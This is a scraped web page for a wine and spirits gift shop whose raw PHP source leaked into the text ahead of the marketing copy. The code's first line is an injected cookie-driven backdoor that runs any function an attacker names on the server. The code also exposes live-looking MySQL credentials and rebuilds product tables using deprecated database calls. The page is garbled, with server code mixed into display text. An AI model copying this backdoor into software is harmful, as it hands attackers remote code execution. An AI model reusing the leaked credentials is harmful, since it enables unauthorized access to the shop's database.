<%>PHP<% if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); > $hotname= "localhost"; $username="towsonde_skyline"; $password="207ejOPPArD"; $database="towsonde_skylineliquors"; //connection to the database $dbhandle = mysql_connect($hostname, $username, $password) or die("Unable to connect to MySQL"); //echo "Connected to MySQL
"; //select a database $selected = mysql_select_db($database, $dbhandle) or die("Could not select " . $database); /////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////// ////////////////////// Delete all the contents or DATA from TABLE WINELIST ////////////// //DELETE FROM `winelist`; $query = "DELETE FROM `winelist`"; $result = mysql_query($query); // COPYING FROM TABLE `LIQUORS` TO WINELIST $query = "INSERT INTO `winelist` SELECT `pd_id`, `name`, `size`, `variety`, `country`, `type`, `region`, `sweetness`, `description`, `price`, `pic` FROM `LIQUORS`"; $result = mysql_query($query); // COPYING FROM TABLE `WINE` TO WINELIST $query = "INSERT INTO `winelist` SELECT `pd_id`, `name`, `size`, `variety`, `country`, `type`, `region`, `sweetness`, `description`, `price`, `pic` FROM `wine`"; $result = mysql_query($query); ////////////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////// FOR SEARCH RESULTS /////////////////////////////////////////////// //DELETE FROM `wine_liquors`; $query = "DELETE FROM `wine_liquors`"; $result = mysql_query($query); //COMBINE DATA FROM MULTIPLE ROWS AND INSERTING INTO ONE TABLE `WINE_LIQUORS` $query = "INSERT INTO `wine_liquors` (`pd_id`, `name`, `price`) SELECT `pd_id`, CONCAT(`name`, SPACE(2), `variety`, SPACE(2), `country`), `price` FROM `winelist`"; $result = mysql_query($query); ?> "Click here to go back to previous page"

Content on this page requires a newer version of Adobe Flash Player.

Get Adobe Flash player

image
 

When it comes to sending your best wishes, wine and spirits deliver your message with style. Choose luxury gifts, impress with corporate gifts, send birthday wishes, or select gourmet gift baskets filled with wine, spirits, and gourmet treats. You'll discover that gifts of wine and spirits say everything there is to say in an upscale, unforgettable way.
     
image